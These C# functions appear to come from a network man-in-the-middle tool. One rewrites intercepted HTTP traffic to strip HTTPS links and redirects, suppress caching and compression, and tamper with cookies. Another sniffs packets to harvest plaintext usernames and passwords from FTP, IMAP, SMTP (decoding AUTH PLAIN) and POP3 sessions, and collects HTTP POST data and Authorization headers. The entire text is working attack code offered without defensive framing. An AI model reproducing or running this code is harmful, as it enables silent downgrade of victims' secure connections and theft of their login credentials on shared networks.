// check if the packet is HTTP packet public static bool IsHTTP(TcpPacket packet) { if (packet.PayloadData != null) { if (SimpleRegex.GetMatches(regexIsHTTP, encoding.GetString(packet.PayloadData)).Count > 0) { return(true); } } return(false); }
// process packet public bool ProcessPacket(Packet rawPacket, TcpPacket packet) { if (packet.ParentPacket == null) { return(true); } if (packet.PayloadData == null) { return(true); } var sourceIP = ((IpPacket)packet.ParentPacket).SourceAddress.ToString(); var destIP = ((IpPacket)packet.ParentPacket).DestinationAddress.ToString(); var payload = packet.PayloadData; var data = encodingUtf8.GetString(payload); if (data != string.Empty) { var changed = new List <string>(); var matches = SimpleRegex.GetMatches(regexType, data); // HTTP request if (matches.Count > 2) { // check for images - stop further processing if (matches[2].Contains(".png") || matches[2].Contains(".jpg") || matches[2].Contains(".gif")) { return(true); } // check for Accept-Encoding and replace it to prevent unreadable data if (data.Contains("Accept-Encoding:")) { var diff = data.Length - regexEncoding.Replace(data, "Accept-Encoding: \r\n").Length; var extra = string.Empty; for (int i = 0; i < diff; i++) { extra += " "; } data = regexEncoding.Replace(data, "Accept-Encoding: " + extra + "\r\n"); changed.Add("Accept-Encoding"); } // check for If-Modified-Since and replace it to prevent caching if (data.Contains("If-Modified-Since:")) { var time = new DateTime(2000, 1, 1); data = regexModified.Replace(data, "If-Modified-Since: " + time.ToString("R") + "\r\n"); changed.Add("If-Modified-Since"); } // check for cookies and strip them if necessary if (stripCookies && data.Contains("Cookie:")) { data = data.Replace("Cookie:", "C00kie:"); changed.Add("Cookies"); } } // HTTP response else { // check for html tags - stop further processing if (!(data.Contains("<form") || data.Contains("<input") || data.Contains("<a ") || data.Contains("</a>") || data.Contains("</div>") || data.Contains("<meta") || data.Contains("javascript"))) { return(true); } var cmatches = SimpleRegex.GetMatches(regexCType, data); // check for images - stop further processing if (cmatches.Count > 1 && cmatches[1].Contains("image")) { return(true); } // HTTP 302 redirect stripping foreach (var item in stripRedirects) { if (data.Contains("Location: " + item)) { data = data.Replace("Location: https://", "Location: http://"); changed.Add("HTTPS (302 redirect)"); } } // other links, actions... if (data.Contains("\"https://") || data.Contains("'https://")) { data = data.Replace("\"https://", "\" http://"); data = data.Replace("'https://", "' http://"); changed.Add("HTTPS"); } } if (changed.Count > 0) { // change packet data to stripped one var bytes = encodingUtf8.GetBytes(data); var diff = packet.PayloadData.Length - bytes.Length; packet.PayloadData = bytes; packet.UpdateTCPChecksum(); // checksum fixes for IPv4 packets (IPv6 packet doesn't have a checksum) if (packet.ParentPacket is IPv4Packet) { var ip = (IPv4Packet)packet.ParentPacket; ip.TotalLength = ip.HeaderLength + packet.Bytes.Length; ip.PayloadLength = (ushort)packet.Bytes.Length; ip.Checksum = (ushort)(ip.Checksum + diff); } Stripped(sourceIP, destIP, changed); } } return(true); }
public HttpHeader(string header) { if (header == string.Empty) { return; } // determine type (GET/POST) if (header.Length > 4 && (header.Substring(0, 3) == "GET" || header.Substring(0, 4) == "POST")) { Type = PacketType.Request; } else { Type = PacketType.Response; } // get "HTTP Code" if (Type == PacketType.Response) { var codeMatches = SimpleRegex.GetMatches(regexCode, header); if (codeMatches != null && codeMatches.Count > 1) { Code = codeMatches[2]; } } // get request path, request type if (Type == PacketType.Request) { var pathMatches = SimpleRegex.GetMatches(regexPath, header); if (pathMatches != null && pathMatches.Count > 1) { if (pathMatches[1] == "GET") { ReqType = RequestType.GET; } else if (pathMatches[1] == "POST") { ReqType = RequestType.POST; } Path = pathMatches[2]; } } // get host address if (Type == PacketType.Request) { var hostMatches = SimpleRegex.GetMatches(regexHost, header); if (hostMatches != null && hostMatches.Count > 1) { Host = hostMatches[1]; } } // get authorization if (Type == PacketType.Request) { var authMatches = SimpleRegex.GetMatches(regexAuth, header); if (authMatches != null && authMatches.Count > 1) { Authorization = authMatches[1]; } } // get content type if (Type == PacketType.Response) { var typeMatches = SimpleRegex.GetMatches(regexType, header); if (typeMatches != null && typeMatches.Count > 1) { ContentType = typeMatches[1]; } } // get GET parameters (key=value) if (Type == PacketType.Request) { var getLine = Path.Split('?'); // are there any params? if (getLine.Length == 2) { var getParams = getLine[1].Split('&'); foreach (var param in getParams) { var splitParam = param.Split('='); if (splitParam.Count() == 2) { GetParams.Add(new string[] { splitParam[0] != null ? splitParam[0] : string.Empty, splitParam[1] != null ? splitParam[1] : string.Empty }); } } } } }
// worker function for parsing packets public void Worker() { while (Started) { // copy packets to threadQueue lock (PacketQueue) { foreach (TcpPacket packet in PacketQueue) { threadQueue.Add(packet); } PacketQueue.Clear(); } if (threadQueue.Count > 0) { // loop through packets and check them for any useful information foreach (TcpPacket packet in threadQueue) { if (packet.ParentPacket == null) { continue; } var sourceIP = ((IpPacket)packet.ParentPacket).SourceAddress; var destIP = ((IpPacket)packet.ParentPacket).DestinationAddress; // check for exclusions if (excludeLocalIP) { if (sourceIP.ToString() == deviceInfo.IP || deviceInfo.IPv6List.Contains(sourceIP.ToString())) { continue; } } // check for FTP packet if (packet.DestinationPort == 21) { var logins = ftpLogins.Where(l => (l.DestinationAddress.ToString() == destIP.ToString() && l.SourceAddress.ToString() == sourceIP.ToString())); // parse TCP packet data var data = packet.PayloadData != null?encoding.GetString(packet.PayloadData) : ""; // check if connection already started if (logins.Count() > 0) { var login = logins.Last(); // get user if (data.Length > 4 && data.Substring(0, 4).ToUpper() == "USER") { var parts = data.Split(' '); if (parts.Length > 1) { login.User = parts[1].Replace("\r\n", ""); } } // get password if (data.Length > 4 && data.Substring(0, 4).ToUpper() == "PASS") { var parts = data.Split(' '); if (parts.Length > 1) { login.Password = parts[1].Replace("\r\n", ""); } Result(login.DestinationAddress.ToString(), login.User, login.Password, "/", SnifferResultType.FTP); ftpLogins.Remove(login); } } else { ftpLogins.Add(new SnifferFTPlogin { DestinationAddress = destIP, SourceAddress = sourceIP }); } continue; } // check for IMAP if (packet.DestinationPort == 143) { // parse TCP packet data var data = packet.PayloadData != null?encoding.GetString(packet.PayloadData) : ""; // TAG LOGIN "username" "password" var regexIMAP = new Regex("(.*?) login \"(.*?)\" \"(.*?)\""); var matches = SimpleRegex.GetMatches(regexIMAP, data); if (matches.Count > 0) { Result(sourceIP.ToString(), matches[2], matches[3], "/", SnifferResultType.IMAP); } continue; } // check for SMTP if (packet.DestinationPort == 25) { // parse TCP packet data var data = packet.PayloadData != null?encoding.GetString(packet.PayloadData) : ""; // AUTH PLAIN base64 var regexSMTP = new Regex("AUTH PLAIN (.*?)$"); var matches = SimpleRegex.GetMatches(regexSMTP, data); if (matches.Count > 0) { var credentials = encoding.GetString(Convert.FromBase64String(matches[1].Replace("\r", ""))).Split(Convert.ToChar(0x0)); if (credentials.Length > 2) { Result(sourceIP.ToString(), credentials[1], credentials[2], "/", SnifferResultType.SMTP); } } continue; } // check for POP3 if (packet.DestinationPort == 110) { var logins = pop3Logins.Where(l => (l.DestinationAddress.ToString() == destIP.ToString() && l.SourceAddress.ToString() == sourceIP.ToString())); // parse TCP packet data var data = packet.PayloadData != null?encoding.GetString(packet.PayloadData) : ""; // check if connection already started if (logins.Count() > 0) { var login = logins.Last(); // get user if (data.Length > 4 && data.Substring(0, 4).ToUpper() == "USER") { var parts = data.Split(' '); if (parts.Length > 1) { login.User = parts[1].Replace("\r\n", ""); } } // get password if (data.Length > 4 && data.Substring(0, 4).ToUpper() == "PASS") { var parts = data.Split(' '); if (parts.Length > 1) { login.Password = parts[1].Replace("\r\n", ""); } Result(login.DestinationAddress.ToString(), login.User, login.Password, "/", SnifferResultType.POP3); pop3Logins.Remove(login); } } else { pop3Logins.Add(new SnifferPOP3login { DestinationAddress = destIP, SourceAddress = sourceIP }); } continue; } // check for HTTP packet and parse it if (HttpPacket.IsHTTP(packet) || HttpPacket.HasPOST(packet)) { var http = new HttpPacket(packet); // save hostnames for incomplete packets if (http.Header.Type == HttpHeader.PacketType.Request && http.Header.ReqType == HttpHeader.RequestType.POST) { postRequests.Add(new SnifferPostRequest { SourceAddress = sourceIP, DestinationAddress = destIP, Hostname = http.Header.Host }); } SnifferSearch(http, sourceIP, destIP); } } threadQueue.Clear(); } else { Thread.Sleep(50); } } return; }